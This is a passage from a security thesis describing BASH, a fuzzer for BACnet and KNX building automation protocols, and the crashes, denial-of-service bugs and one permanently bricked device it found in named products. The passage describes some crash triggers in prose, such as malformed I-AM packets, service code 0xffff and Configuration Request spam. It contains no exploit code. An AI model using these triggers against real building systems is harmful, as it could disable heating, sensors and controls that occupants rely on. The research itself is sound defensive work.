the server will likely terminate the connection preemptively. This behavior is not unique to the 

tunnelling service or to KNX. 

A generation fuzzer can subvert some of these challenges because it has knowledge of the 

protocol structure and semantics. However, writing an effective generation fuzzer can be a slow, 

painstaking process and must be performed independently for each protocol. Moreover, some 

BAS protocols are proprietary and may not be easily accessible. For instance, BACnet is 

described by the ASHRAE 135 standard, which costs $125 USD. Finally, even a comprehensive 

generation fuzzer can be ultimately counterproductive due to the complexity of the BAS 

protocol. Since such protocols are typically written to support a wide range of devices and 

services, most devices may wind up only supporting the required minimal subset of protocol 
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features. Thus, a generation fuzzer may spend unnecessary time trying to fuzz protocol features 

that are not supported by the target. 

Hardware Challenges: Some challenges in fuzzing BAS applications can be attributed to the 

restrictive hardware. Recent works in fuzzing embedded systems have emphasized firmware 

rehosting of the target binary via emulation software (e.g., QEMU) and performing initial 

analysis or instrumentation. These preliminary steps can guide the fuzzing process and help 

bridge the gap between software fuzzing and hardware fuzzing. This method has been applied to 

different embedded system domains such as IoT and Industrial Control Systems (ICS), which 

often have readily accessible firmware binaries online. However, BAS firmwares are proprietary 

and rarely available online, so a tester cannot easily obtain them to perform the firmware 

rehosting. To circumvent this, firmware binaries can occasionally be extracted from the devices 

via debugging interfaces such as JTAG, or directly extracted from the storage medium on the 

printed circuit board (PCB). However, another issue is that BAS software/hardware stacks can be 

highly diverse, consisting of different runtimes and Operating Systems, and built on different 

microprocessors (MPUs) with different instruction set architectures, depending on the vendors. 

These discrepancies make firmware rehosting, and hence emulation, even harder. 

Another hardware-specific challenge concerns the timing of input delivery. Generally speaking, 

BAS devices such as Programmable Logic Controllers (PLCs) “scan” for inputs at fixed 

intervals, which limits the fuzzing throughput. For example, if inputs are generated too quickly, 

the device may ignore a portion of them because the scan cycle was not ready. However, as 

shown in Figure 5.3, a client does not typically communicate directly with the BAS devices; 
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instead, the BAS server may act on behalf of the devices and forward the appropriate telegrams 

between the client and the devices. The IP interface of the BAS server may not necessarily be 

limited by the scan cycle interval imposed on the devices; however, the physical interface 

between the server and devices is still limited, so devices may not receive data if the client 

generates them too quickly. 

 

Figure 5.3: Communication overview between a BAS client, a BAS server, and various BAS 

devices in a smart building network. 

Software Challenges: Fuzzing the various smart fuzzing frameworks also presents some unique 

challenges. We find that most of the popular frameworks are closed-source and proprietary, 

making techniques such as compile-time instrumentation for coverage guided fuzzing 

impossible. An alternative approach is to use dynamic instrumentation to track program 

execution, or static binary analysis to infer program behavior at runtime. These techniques only 

require the binary itself, not the source code. Static analysis often requires symbol information to 

be present in the binary, while dynamic instrumentation does not. However, both cases have 

practical limitations in the context of BAS applications. Dynamic instrumentation adds tons of 
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overhead to the target binary because it effectively Just-in-Time (JIT) compiles the whole 

program. BAS software can be very bloated and contain dozens of shared libraries, each of 

which adds additional overhead to the instrumentation task. Thus, long-term fuzzing throughput 

of an instrumented BAS framework is slow. On the other hand, we found that such applications 

almost never contain symbol information when they are released to the end users, so static 

analysis is difficult. 

Another major challenge is deciding how to fuzz these applications. In the ideal scenario, the 

fuzzer will rapidly generate inputs and send them to the target. For instance, since the BAS 

server typically exposes an IP interface, the fuzzer can target them by sending UDP or TCP 

requests over the network. However, fuzzing the smart building frameworks is less 

straightforward, since they do not always expose a network interface. To illustrate this challenge, 

Figure 5.3 describes the general communication topology between a smart building framework 

(i.e., the BAS client) and devices via the BAS server. The BAS client first tries to “discover” the 

BAS server by sending broadcast or multicast messages over the network (step 1). The server 

can announce its presence either by broadcast, multicast, or unicast, i.e., replying directly to the 

BAS client (step 2). Afterward, the BAS server and BAS client typically communicate directly 

via unicast, with the BAS client acting as a network client and the BAS server acting as a 

network server (step 3). Based on this topology, it may seem plausible to masquerade as a BAS 

server and send faulty responses to the BAS client. However, as shown, the BAS client 

commonly initiates any discovery requests, which are typically generated manually by a user. In 

some cases, the software will periodically try to discover new devices automatically, but the 

discovery period can be fairly long (e.g., about 30 seconds in the case of ETS). These 
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characteristics make fuzzing throughput a major concern with respect to smart building 

frameworks. 

5.2.2 General Approach 

We now describe our general approach for fuzzing BAS devices and software. Our model, called 

BASH, is illustrated by Figure 5.4 and comprises three primary modules. 

 

Figure 5.4: BASH high-level overview. 

The first module analyzes the request packets sent by the BAS client to the BAS server, while 

the second module analyzes the response packets. As a prerequisite for these modules, the user 

can use a network monitoring software to capture BAS IP packets between a remote BAS 

interface and a smart building framework running on the host. The first module executes a 

number of analysis functions on the packets that probes and classifies the bytes within each 

packet, depending on how the BAS server responds to mutated requests. Classes include magic 

bytes, sensitive bytes, length fields, counter fields, and passive fields. We also discover 

immutable session sequences, i.e., packet sequences which are rejected by the BAS server if their 
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sequence order is disturbed, such as the KNX tunnelling connection in Figure 5.2. The resulting 

annotated dataset can be passed to a fuzzer to mutate inputs more effectively. The second module 

dynamically instruments the BAS software framework to probe response packets from a BAS 

interface by collecting coverage information at runtime. By sending fuzzy discovery responses to 

the instrumented framework, we can annotate the response packets. The final module aggregates 

the information from the annotated datasets to fuzz the target BAS device or software. 

5.2.3 Collecting the Session Data 

Before BASH can analyze the protocol, the user must collect a corpus consisting of one or more 

sessions using a network monitoring tool. A session in this context refers to a self-contained 

sequence of packets, i.e., packets which can be repeatedly sent to the BAS server with consistent 

responses. This property is important for when we begin to probe the packets, as probing will 

consist of mutating packets byte-bybyte and comparing the responses to the original response. 

Generally, we find that sessions can be easily captured by monitoring the BAS frameworks. For 

instance, ETS, a KNX framework, can be configured to communicate over the tunnel connection 

with a KNX interface in the network; such a communication will contain all of the packets 

necessary for repeatable tunnel connections. For each packet, BASH records the tuple 

(timestamp, IP source, port source, IP destination, port destination, raw payload). A sample 

corpus is shown in Figure 5.5.  
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Figure 5.5: A sample session collected between BACnet Explorer and the BASrouter IP 

interface. The full session contains almost 60 entries. 

After a session is captured, BASH further splits it into smaller sub-sessions. A sub-session is a 

continuous sequence of requests followed by a continuous sequence of responses; an illustration 

is provided by Figure 5.6.  

 

Figure 5.6: BASH splits sessions into smaller sub-sessions consisting of request-response pairs. 

Later on, when BASH discovers which session sequences should preserve their order, the 

corresponding sub-sessions will contain pointers to each other. 
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5.2.4 Probing the Protocol 

We now describe the first module of BASH, which annotates the BAS session data for further 

fuzzing. As discussed previously, a BAS protocol can be difficult to fuzz due to complexity in its 

telegram syntax. For example, a packet can contain magic bytes or context-sensitive data such as 

length fields and counter fields, or a sequence of packets may need to preserve their order. 

Therefore, the purpose of this module is to identify which fields / packet sequences are sensitive, 

and which values they are sensitive to. 

BASH first probes the session by identifying magic bytes and other sensitive bytes within each 

packet. A magic byte is a byte for which the set value is the only valid value, while a sensitive 

byte is invalid for most, but perhaps not all, values. To identify these bytes, we iterate over the 

whole packet, and for each byte B, we generate N new copies of the original packet, such that 

their contents are identical except for the byte B, which is randomized. The integer N is a user-

configurable parameter, for which we set to 15 in our experiments. The new packets are then sent 

to the BAS server, along with any other necessary (unmodified) requests in the session. If the 

BAS server provides an unexpected response or does not respond at all, and if the response is 

identical for all N bytes, then the byte is initially annotated as a magic byte. Based on our 

observations in BACnet and KNX, magic bytes typically appear early in the payload, as early as 

the first byte in all observed cases. Therefore, when we annotate the first magic byte, we also 

record the error response associated with the wrong magic byte value, and for future magic byte 

candidates, we compare the observed response to the expected error response. If the response 

matches the initial magic byte response, then the current byte is also marked as a magic byte; 
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otherwise, it is marked as a sensitive byte, since the new response may simply be a never-before-

seen error message. On the other hand, if the response is not identical for all mutated packets, 

then the bytes are not annotated. 

Next, BASH tries to identify length fields within a packet. A length field is a field whose value 

depends on the length of the packet. To identify length fields, BASH inserts a single byte into the 

packet at an index which was not previously marked as magic or sensitive. If the response differs 

from the expected response, then we inspect the immediately preceding magic/sensitive field as a 

length field candidate. The benefit of this approach is that length fields were almost certainly 

marked erroneously as either magic or sensitive, since the incorrect length would have been 

generated. However, length field identification can be deceptively challenging because the 

semantic meaning of the length field can differ between protocols, between different packets of 

the same protocol, and even between different fields of the same packet. For example, in the 

BACnet read property request shown in Figure 5.1, the length field within the BVLC header 

describes the total length of the packet (BVLC + NPDU + APDU), while the object length field 

in the APDU only describes the subsequent object type and object instance fields. Furthermore, 

the length field can be encoded within a byte that contains other pertinent information; for 

instance, in the aforementioned object length field, only the least significant three bytes carry the 

length information, while the other five bytes describe the “tag” of the object, which is irrelevant 

to the length. 

To address these challenges, we first distinguish between three possible types of length fields F 

with length values N: 
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• There are N bytes described by F immediately following F. 

• There are N – M bytes described by F immediately following F, where M is the length of F. 

• N matches the length of the whole packet. 

From these distinctions, we offer an optimized strategy for identifying length fields, which is 

performed as follows. We first make a guess for the value of M, starting at 2 bits and 

incrementing bit-by-bit up to 2 bytes. For the selected value, we analyze the magic/sensitive byte 

immediately preceding our injected byte. If M is less than 8 bits, then we only analyze the least 

significant M bits of the candidate byte. For the bits under consideration, we increment their field 

value by 1 (rolling over to 0 if necessary) and re-send the packet. If the packet results in a new 

response, then this response may or may not be a new error message. To confirm the validity of 

the length field, we mutate the value of the injected byte N times. If the BAS server responds 

with only one or two response values, then this likely indicates that the responses are indeed 

error responses, and we preserve the field under test as a sensitive byte (changing it from a magic 

byte if necessary due to the observation of a new response). We also save the responses for 

further consideration later on. On the other hand, if we observe a response which was previously 

associated with a mutated sensitive byte (i.e., an error response), then we can immediately 

confirm that the field under test is not a length field. If the response matches the expected valid 

response, we can also immediately confirm that the field under test is a length field; however, the 

actual length field may be larger, so we continue checking for length fields up to 2 bits, or until 

we receive an error response. To identify the third case described above, we only check for 

length fields of 1 and 2 bytes, since we assume that the total length of the BAS payload must be 
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expressed by a field greater than 7 bits, otherwise the total payload size would be limited to 127 

bytes. This behavior is consistent with our observations. 

The next byte class to identify is the counter field. A counter field is a field whose value 

increments from packet to packet. For instance, the invoke ID in Figure 5.1 increments by 1 

every time the client sends a BACnet request with APDU type 0 (“Confirmed-REQ”). A fuzzer 

must acknowledge these fields, since repeated calls to the same request may fail if the counter 

field is not updated appropriately. As it happens, we expect the actual counter fields to be 

mistakenly labelled as magic/sensitive bytes, similar to the length field identification; this 

narrows our search pool of counter field candidates. To identify counter fields in a given packet, 

BASH selects a magic/sensitive byte and finds the next consecutive packet whose 

magic/sensitive bytes match the given packet up to the selected byte. The underlying assumption 

is that true application-specific information, which can differ greatly between packets, shall 

occur after the counter field, while pertinent header information, which may not differ so much, 

shall occur before the counter field. Since length fields and other non-magic/sensitive bytes may 

also differ between packets, we do not check those bytes; however, since length fields can 

introduce offset differences between packets, we patch our packet search to match the 

appropriate offset when a length field is discovered. After a matching packet is identified, we 

compare the values of the selected bytes between the packets, and if the difference is 1 (or if the 

preceding packet is 0xff while the successive packet is 0x00), then we consider the field as a 

counter field candidate. To confirm its candidacy, we find the third consecutive matching packet 

and compare the magic/byte field at the selected index. If no such consecutive packet exists, we 
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simply generate a new session with the patched counter field value and send it to the BAS server; 

if we receive the expected response, then the counter field is confirmed. 

BASH also identifies passive bytes in BAS protocols. While generally infrequent, passive bytes 

are defined as bytes in which every value is both valid and identical; in other words, the response 

from the BAS server is always the expected response, regardless of the value of the field. These 

fields can be hard to identify from static protocol analysis because their behavior is usually 

target-dependent. For instance, a passive byte may occur because a BAS target failed to 

implement a certain error-handling mechanism. Nevertheless, we are motivated to annotate 

passive bytes, since fuzzing them may waste time. Passive byte identification is straightforward 

and can be easily performed at the same time as magic/sensitive byte identification. We generate 

N packets with mutated bytes at a selected offset and send them to the BAS server. If each 

response is identical to the expected response, then we mark the selected byte as passive. 

The next challenge is to identify immutable session sequences, such as the KNX tunnelling 

connection. BASH identifies immutable sequences by swapping each adjacent pair of sub-

sessions, patching counter fields as necessary, and monitoring the response from the BAS server 

when each new session is sent out. If a response returns a known error or unexpected response, 

then we annotate the latter sub-session as a successor to the former by adding a “next” pointer 

from the preceding sub-session to the successive sub-session, as well as a “prev” pointer in the 

opposite direction; in this way, BASH knows to always generate the successive sub-session after 

the former. If the server returns the same expected response, then the order of this sub-session 

pair does not matter and we do not have to annotate them. 
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Our packet probing approach also allows us to gain insight into timing synchronization. As 

discussed before, timing synchronization is important because BAS devices scan for inputs at 

regular intervals, so requests may be lost if they are sent too frequently. Therefore, during the 

network monitoring phase, we collect timestamp information about each packet that we collect. 

Later, when we probe and annotate the session, we preserve the timing by sending requests at the 

same rate as the observed rate. When listening for responses from the server, we wait up to twice 

as long as the original response time, in case of unexpected network delays. In this way, we 

avoid the input synchronization issue by replicating the original session timing as closely as 

possible. 

Due to the forced input synchronization, the packet probing module can take a long time if the 

number of packets in the session is large or if the packets themselves are large. To increase the 

total performance of the module, when BASH begins to probe a new packet, it first refers back to 

previously analyzed packets and compares the magic/sensitive/passive bytes, length fields, and 

counter fields. If the packet under test appears to contain the same fields to the previous packets, 

then we annotate those fields without the need to send requests to the BAS server and wait for 

responses. In this way, the amortized time cost of the packet probing module is kept low. 

5.2.5 Instrumenting the Smart Building Frameworks 

We now describe the second module of BASH, which performs probing of the response packets 

from the session corpus in a manner similar to the first module. However, to identify and classify 

fields of interest within a packet, we cannot simply mutate the response packet and send it to the 

BAS client, because the client is unlikely to respond. Instead, our intuition is that by dynamically 
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instrumenting the BAS client, we can monitor how the client responds to mutated responses by 

calculating its code coverage. Dynamic instrumentation can trace the target application at 

runtime down to the instruction level, enabling developers to write tools that perform complex 

analysis tasks on the application. Code coverage is one such use case of dynamic 

instrumentation. The instrumentation engine only needs access to the binary executable in order 

to function. The major questions left to answer in this module are: 1) which code to instrument, 

and 2) how to calculate code coverage. 

Setting Instrumentation Flags: The first step is to carefully consider which code regions of the 

BAS client should be instrumented. More specifically, it is necessary to only instrument the code 

that processes the responses from the BAS server. This can be achieved through the use of a 

coverage flag. In essence, this is a simple Boolean in the instrumentation tool that can be toggled 

on or off. When on, the instrumentation engine actively instruments the target code; otherwise, 

the code simply runs without instrumentation. Since the BAS client communicates to the BAS 

server over IP (generally over UDP), we can use network-specific functions and system calls to 

ascertain when the client is processing the response. For the sake of brevity, we will refer only to 

Linux terms and system calls in this discussion, although the general method is identical in 

Windows and can be implemented by various socket calls in the Winsock API. A BAS client 

generally runs both a UDP server (to receive multicast/broadcast data) and a UDP client (to 

receive unicast data). Both host types must be traced differently. 

We first consider how to trace a UDP server, for which we provide a control flow graph in 

Figure 5.7.  
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Figure 5.7: Instrumentation control flow graph for BAS clients running a UDP server. The green 

markers are instrumented by BASH, while the purple markers are not. 

Initially, the UDP server opens a socket (i.e., a file descriptor) via the socket system call. To 

trace the appropriate network functions executed by the target, we instrument bind, which carries 

information about the network address to bind to as well as the socket to associate with the 

newly bound address. If the address matches the address of interest i.e., the broadcast/multicast 

address, then we record the socket. Next, the client may use the sendto system call to send the 

request to the BAS server. To implement our packet probing method, BASH runs a fake BAS 

server which listens for requests from the client and responds with the appropriately mutated 

packet. When this happens, the recvfrom system call occurs, which holds information about the 
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associated socket and the response payload. If the socket matches the one from bind, then we 

toggle the coverage flag on, and instrumentation begins. 

However, knowing when to stop instrumentation for the UDP server is tricky, because the 

associated close system call for the socket will likely not occur until the application closes. One 

solution for this is to debug the BAS server and identify the “listening” code region that waits for 

the recvfrom call. The instrumentation tool can be written to explicitly toggle the coverage flag 

off when it reaches this region. However, this approach requires significant manual effort for 

each target application. Another approach is to automatically toggle the coverage flag off after a 

specified amount of time has elapsed. This is the approach used by BASH. To decide which wait 

time is appropriate, we simply refer back to the timestamp values in the session corpus and 

observe the time it took the BAS client to send a new request after receiving a response. In this 

way, we effectively honor the input synchronization requirement of the BAS devices while also 

ensuring the coverage flag toggles off after sufficient time has passed. Once the flag toggles off, 

the instrumentation tool shares the coverage information with BASH via shared memory. 

We now discuss how to trace a UDP client. Like the server, the client first opens a socket via the 

socket system call. A UDP client does not make the bind system call, but address information for 

the recipient host can be obtained via the recvfrom system call. In this case, we simply monitor 

the system call and toggle the coverage flag on when the recipient address matches the BAS 

server address; we also record the value of the socket. Eventually the application closes the 

connection via the close system call, at which point, we toggle the coverage flag off and share 

the coverage information with BASH. 
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Calculating Code Coverage: We now describe the code coverage algorithm implemented by 

BASH. Our algorithm is influenced by AFL’s branch coverage algorithm, which we briefly 

summarize here. At each executed branch i → j, for a parent function i and a child function j, 

AFL calculates an index i ⊕ (j >> 1) and increments covmap[index], where covmap is a 64 kB 

block of memory shared with the parent fuzzer. The exact values of i and j are generated 

randomly at compile-time. AFL defines several hit count “buckets” of the following values: 1, 2, 

3, 4-7, 8-15, 16-31, 32-127, and 128 and above. If covmap[index] falls within a bucket that was 

not previously observed, then AFL considers it to be new coverage. 

Our code coverage algorithm preserves some of this behavior, with some notable modifications. 

Instead of sharing a memory block with BASH, the instrumentation engine maintains a private 

coverage map (effectively an array of integers) and calculates a running coverage score based on 

the values in this map. For each branch i → j, BASH calculates the index value exactly like AFL. 

Here, the values of i and j can either be given by the dynamic instrumentation engine directly, or 

we can refer to the entry addresses of the respective functions. When the value of covmap[index] 

reaches a bucket, BASH increments the total coverage score by primes[index], where primes is a 

list of consecutive prime integers. The buckets are mostly identical, except we split the bucket 

32-127 into two buckets: 32-63 and 64-127. When the coverage flag is toggled off, only the final 

coverage score is shared with BASH; in this way, BASH can more efficiently compare the 

coverage score with previous scores. 

We note that this method introduces a slight risk of coverage score collision, in which the 

algorithm may generate erroneous coverage score duplicates even if the true coverage was 

unique. However, due to the primes map usage, the risk of collisions is kept minimal. The first 
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time an edge is hit, the score increments by a prime number, guaranteeing that the score could 

only increment by that amount if that particular edge was hit. For hit counts greater than one, 

there is a slight chance of duplication. For instance, if the target hits primes[N] = 13 twice, the 

coverage score increases by 26. However, a duplication can occur if the target later hits 

primes[N] = 5 once and primes[M] = 7 four times (triggering the third bucket). Still, we observe 

that the majority of edges only execute once, which keeps the chances of duplication small. To 

confirm our theory, we wrote a simulation tool that runs 5000 iterations of our code coverage 

algorithm, with a map size of 10000 and a branch count of 50000. Not a single iteration resulted 

in a duplicate coverage score. Moreover, duplicates can be avoided entirely by mapping hit 

counts and indices to primes[N * S + index], where N is the N’th bucket hit by this index, and S 

is the coverage map size (i.e., size of covmap). Then every bucket of every index is guaranteed 

to always increment the coverage score by a unique value. The downside is that the size of 

primes increases nine-fold, since there are nine buckets. 

5.2.6 Fuzzing 

The final module implements the fuzzing component of BASH. We implement a context-aware 

mutational fuzzer that employs the annotation data collected by modules 1 and 2 as an input 

corpus. During a cycle, the fuzzer first selects a random sub-session that does not have a “prev” 

pointer, since the pointer indicates this sub-session must follow a preceding sub-session. Once 

BASH selects the sub-session, it mutates the packets according to the annotated data, updating 

the timestamps and making any necessary changes to the annotated data. For each packet in the 

sub-session and for each byte B in a packet, the following mutation rules shall apply: 
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• If B is not annotated, then it has a probability N to be mutated. 

• If B is a magic byte, then it has a probability 
𝑁

100
 to be mutated. 

• If B is a sensitive byte, then it has a probability 
𝑁

25
 to be mutated. 

• If B is a passive byte, then it has a probability 
𝑁

50
 to be mutated. 

• If B is part of a length field and the value of the field is L, then: 

...1 There is a probability 
𝑁

3
 that we randomly insert or delete up to L bytes immediately after 

B. 

...2 There is a probability 
𝑁

100
 that we randomly insert up to L * 100 bytes after B. 

...3 There is a probability 
𝑁

5
 that the value of L is not patched after the new bytes are inserted 

or deleted. 

• If B is part of a counter field, then it has a probability 
𝑁

40
 to be set to an invalid value. 

The base probability N can be selected by the user before the fuzzing session begins. As 

evidenced by the mutation rules, we prioritize fuzzing of regular fields, since they are less likely 

to result in complete semantic or syntax bugs, allowing us to discover new behaviors in the target 

more quickly. Magic bytes, sensitive bytes, and passive bytes have low probabilities of being 

mutated, since our probing modules failed to discover any interesting new behavior in those 

bytes. Magic bytes have the lowest probability, followed by passive bytes and sensitive bytes, 

respectively. While still low, the probability of mutating a sensitive byte is kept higher than 

magic and passive bytes, since we suspect sensitive bytes to have more than one valid value. As 

for length fields, there is a reasonable probability that BASH perturbs the length of the field, 
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either by deleting or inserting new bytes, and immediately patching the length field value to 

reflect the new byte count, and a slightly smaller probability that the length field value is not 

patched. For cases when the total number of bytes exceeds the maximum size of the length field, 

we simply set the length field to the maximum value. Furthermore, there is a slim possibility that 

BASH will insert significantly more bytes than normal into the packet, potentially triggering a 

buffer overflow or DoS attack. Finally, since BASH must retroactively set the values of the 

counter fields after it selects the session for fuzzing, there is a minor probability that it will 

deliberately set incorrect values. 

The final fuzz operation we discuss is session order perturbation. After fuzzing a session and 

sending it to the target, BASH must select a new session from the corpus to fuzz. If the current 

session has no “next” pointer, then BASH has a user-definable probability M to select a new 

session without a “prev” pointer, otherwise it selects a session with such a pointer. Similarly, if 

the current session had a “next” pointer, then BASH has a probability M to select the session 

pointed to by “next”, otherwise it selects a completely random session. This guarantees that in 

most cases, session order requirements are honored, while occasionally being perturbed. 

To monitor coverage of the target, BASH employs different strategies depending on whether the 

target is a physical device or a software framework. Thus, we now describe how BASH 

distinguishes between fuzzing hardware and software. In both cases, BASH carefully times when 

inputs are sent to the target according to the collected timestamp data, so that inputs can remain 

synchronized. 
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Fuzzing Hardware: To fuzz a target BAS device, BASH can masquerade as a BAS client and 

send fuzzy requests to the BAS server, watching for any new responses that may indicate new 

coverage. For targeting a specific device, the user should first collect a session corpus of packets 

that specifically address the device in their requests. When BASH probes the session, it will 

likely mark the address-relevant bytes as sensitive bytes, since invalid addresses will be returned 

with errors responses. When receiving a response, BASH will compare it to previous responses 

to see if the response is unique or not. However, any counter fields should be excluded from this 

comparison, since the counter field changes frequently. Therefore, we employ the technique 

described in Section Probing the Protocol5.2.4 to identify any counter fields in the response. If 

the response is indeed unique, then the fuzzed session is written into the corpus. The “prev” 

pointer is preserved if it is present; however, the “next” pointer is deleted, since the associated 

next session depends on the original un-fuzzed session. Lastly, BASH checks the liveness of the 

hardware by sending periodic heartbeat monitors, i.e., requests with guaranteed and predictable 

responses. A suitable heartbeat monitor can be arbitrarily selected from any sub-session 

sequence in our corpus, since we already confirmed the consistency of those sessions. 

Fuzzing Software: To fuzz a target BAS software, BASH can masquerade as a BAS server and 

send fuzzy discovery responses to the software. To monitor for new responses, BASH also 

instruments the software and runs the code coverage strategy described previously. In cases 

where the BAS server must wait for the software to initiate the discovery request, BASH 

observes the period of these requests and instruments timer-specific systems calls (Linux) or API 

calls (Windows), and it tries to find any calls whose time argument matches the period. If there is 
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a match, the time argument is set to a smaller value, allowing BASH to fuzz the software at a 

more rapid rate. 

5.3 Evaluation 

This section presents our environmental setup of BASH and our vulnerability findings in various 

BAS hardware and software. 

5.3.1 Environmental Setup 

Environment: BASH was primarily written in Python 3. All experiments were conducted on a 

Dell XPS 15 9510 laptop with Intel Core i9-11900H CPU and 32 GB of RAM. The majority of 

experiments were performed on Windows 11 directly on the host, while some Linux-specific 

experiments were performed in an Ubuntu 22.04 virtual machine. We used the Python library 

Scapy to monitor traffic between BAS servers and clients and seed our session corpus. For 

dynamic instrumentation, we used Intel Pin, which supports Windows and Linux targets on 32- 

and 64-bit architectures. Our code coverage was written in C++. 

BAS Hardware Targets: , we targeted 6 KNX devices and 4 BACnet devices. The KNX 

devices are QAW912, KNX RF/TP Coupler 673 Secure, KNX IP LineMaster 762, 5WG1 258-

2DB12, EIKON 21840, and KNX Virtual. The BACnet devices are PMDTBXB, BASRT-B, 

HNDTA2BX, and GH2SMBBR1. These devices cover a variety of smart building functions 

including room heating control, particulate matter (PM) sensing, temperature, and humidity 

sensing, and so forth. Table 5.1 presents a summary of all 10 devices. For our experiments, the 

BASRT-B by Contemporary Controls serves as the BACnet/IP interface (BAS server), while the 
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KNX IP LineMaster 762 by Weinzierl serves as the KNX interface. KNX Virtual, a Windows 

application by the KNX Association, is a virtual interface, while also implementing 27 virtual 

KNX devices such as actuators, alarm modules, room controllers, and more; we do not include 

those devices in our discussion since we did not evaluate them individually. 

Table 5.1: Summary of BAS devices that were tested. 

Name Manufacturer Protocol Description 

QAW912 Siemens KNX RF Heat controller 

PMDTBXB Greystone BACnet MSTP PM sensor 

KNX RF/TP Coupler 

673 Secure 

Weinzierl KNX RF, KNX TP KNX RF/TP coupler 

KNX IP LineMaster 

762 

Weinzerl KNXnet/IP, KNX TP KNX interface 

BASRT-B Contemporary 

Controls 

BACnet/IP, BACnet TP, 

Ethernet 

BACnet interface 

HNDTA2BX Greystone BACnet MSTP Duct 

humidity/temperature 

sensor 

5WG1 258-2DB12 Siemsn KNX TP Presence detector 

EIKON 21840 VIMAR KNX TP 4-button programmable 

switch 

GH2SMBBR1 Greystone BACnet MSTP Temperature, humidity, 

and CO2 sensor 

KNX Virtual The KNX 

Association 

KNXnet/IP Various virtual devices 

 

BAS Software Targets: We performed fuzzing on 3 KNX software clients and 3 BACnet 

software clients. The KNX applications were ETS, knxd, and Calimero. The BACnet 

applications were Innea BACnet Explorer, YABE, and CAS BACnet Explorer. Of these, ETS, 

Innea BACnet Explorer, CAS BACnet Explorer, and YABE are proprietary Windows 
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applications. knxd is an open-source library that runs as a daemon on Linux hosts. Calimero is an 

open-source Java library. Table 5.2 summarizes the software used in our evaluation. 

Table 5.2: Summary of BAS software frameworks that were tested. 

Name Developer Protocol Platform 

ETS The KNX Association KNX Windows 

knxd Matthias Urlichs KNX Linux 

Calimero Calimero Project KNX Window, MacOS, and 

Linux 

Innea BACnet 

Explorer 

Inneasoft BACnet Windows 

YABE Morten Kvistgaard BACnet Windows 

CAS BACnet 

Explorer 

Chipkin Automation Systems BACnet Windows 

 

5.3.2 Vulnerabilities Discovered 

BASH successfully discovered 11 new BAS bugs, including 7 software bugs and 4 hardware 

bugs. Table III summarizes our findings. All software vulnerabilities result in nearly immediate 

termination of the application. Three of the hardware bugs resulted in denial-of-service. In the 

case of BASRT-B, a full power cycle is necessary to resume access to the BACnet/IP interface. 

For the 5WG1 (presence detector), the device appeared to have permanently lost its 

functionality, and attempts to reprogram the device using ETS and restore it failed. The big 

discovered in the KNX IP LineMaster results in a temporary denial-of-service in which 

configuration requests from the client are completely ignored for several seconds; eventually the 

LineMaster terminates the connection with the client and resumes normal operation. We now 

discuss each bug in greater detail. 
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Table 5.3: Summary of bugs and errors discovered by BASH. S: Software; H: Hardware 

Name Protocol Type Error Summary 

Innea BACnet 

Explorer 

BACnet S Memory access violation 

CAS BACnet 

Explorer 

BACnet S Memory access violation 

Knxd KNX S Abort #1 

Knxd KNX S Abort #2 

Knxd KNX S Segmentation fault 

Calimero KNX S Out of memory 

KNX Virtual KNX S Index out of bounds 

LineMaster KNX H Devices becomes unresponsive 

Presence Detector KNX H Permanent brick 

BASRT-B BACnet H Crash #1 

BASRT-B BACnet H Crash #2 

 

Innea BACnet Explorer: Innea BACnet Explorer can crash if a malicious BAS server sends a 

fuzzy I-AM packet to the application; this payload is regularly used to respond to a BACnet 

WHO-IS discovery request. The crash occurs due to a memory access violation (error code 

0xc0000005). 

CAS BACnet Explorer: CAS BACnet Explorer can crash due to similar circumstances as Innea 

BACnet Explorer. By sending a fuzzy I-AM packet, the target throws a memory access error and 

closes. 

knxd: knxd can crash if the daemon is started with the --listen-tcp option, which exposes an IP 

server on port 6720 for remote KNX devices to communicate. BASH discovered 3 distinct bugs 

by sending fuzzy KNX packets to this interface. The first two bugs result in process aborts due to 

failed assertion checks. The first assertion fails due to corrupted addresses in the KNX payload. 

The second assertion fails when certain packets do not include the Transport Layer Protocol Data 
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Unit (TPDU) data structure, which carries information about service requests and responses. The 

final bug results in a segmentation fault. 

Calimero: When running the KNXnet/IP server implemented by Calimero, a Java exception 

java.lang.OutOfMemoryError can occur when a malicious BAS client sends a KNX request with 

service code 0xffff. Before crashing, the software will rapidly and repeatedly echo an error 

message, and the memory consumption of the process will gradually increase until the exception 

occurs. 

KNX Virtual: KNX Virtual can crash if a malicious client sends a truncated KNX request that is 

missing the ”Total Length” field, leading to a .NET System.IndexOutOfRangeException. 

LineMaster: By opening a KNX configuration connection with the LineMaster and repeatedly 

sending Configuration Request messages, the device will eventually stop responding to the 

client, even for completely valid requests. In normal circumstances for the KNX management 

service, a Configuration Request (for a valid connection) shall always be met with a 

Configuration Acknowledgement by the KNX server; this is analogous to the Tunnel Requests 

and Tunnel Acknowledgements illustrated in Figure 5.2. However, by spamming Configuration 

Requests, the LineMaster eventually stops communicating with the client and eventually 

terminates the connection. 

Presence Detector: The 5WG1 258-2DB12 (presence detector) can become unresponsive by 

sending fuzzy routing indication packets. KNX routing services may carry the same application-

layer payloads as the tunnelling services, but there is no acknowledgement requirement as 

opposed to device management or tunnelling services. Our experiments caused the presence 
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detector to become completely unusable. Typically, a KNX device can become “reprogrammed” 

by using ETS to download the application to the device. However, this method had no effect on 

reviving the device. 

BASRT-B: We discovered two bugs in the BASRT-B “BASrouter” interface. The first bug 

occurs when the malicious client broadcasts a BACnet request with a corrupted APDU field. The 

second bug occurs by sending an “Abort” message. In both cases, the interface becomes 

completely unresponsive until receiving a full power cycle. 

5.4 Conclusion 

In this Chapter, we designed and evaluated a fuzzing model that targets BAS, the technology that 

drives smart buildings. BAS is an important application of cyber physical systems (CPS) by 

enabling centralized control of many building functions. Protocols like BACnet and KNX 

interconnect devices together and make control, monitoring, and automation possible. However, 

our work illustrates that many deployed smart building frameworks and devices are vulnerable to 

software attacks that can be triggered remotely. Our method monitors the network traffic 

between these frameworks and the devices, collecting a corpus which is then probed at a sub-

session granularity. From this, we gain insight into the structure of the BAS protocol and can 

fuzz targets more effectively. Our test suite uncovered 11 new bugs, showcasing the need to 

apply software security principles to smart buildings. 
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CHAPTER 6:  SECURING IOT DEVICES WITH LOW-COST CRYPTO 

COPROCESSORS 

In this Chapter, we show how developers may implement a low-cost platform using MCUs and 

cryptographic coprocessors that provides security to users and protects private keys against 

software attacks. As our primary contribution, we present a framework termed SIC2 (Securing 

IoT with Crypto Coprocessors), for secure key provisioning that protects end users' private keys 

from both software attacks and untrustworthy manufacturers. As a proof of concept, we pair the 

ESP32 with the low-cost ATECC608A cryptographic coprocessor by Microchip and connect to 

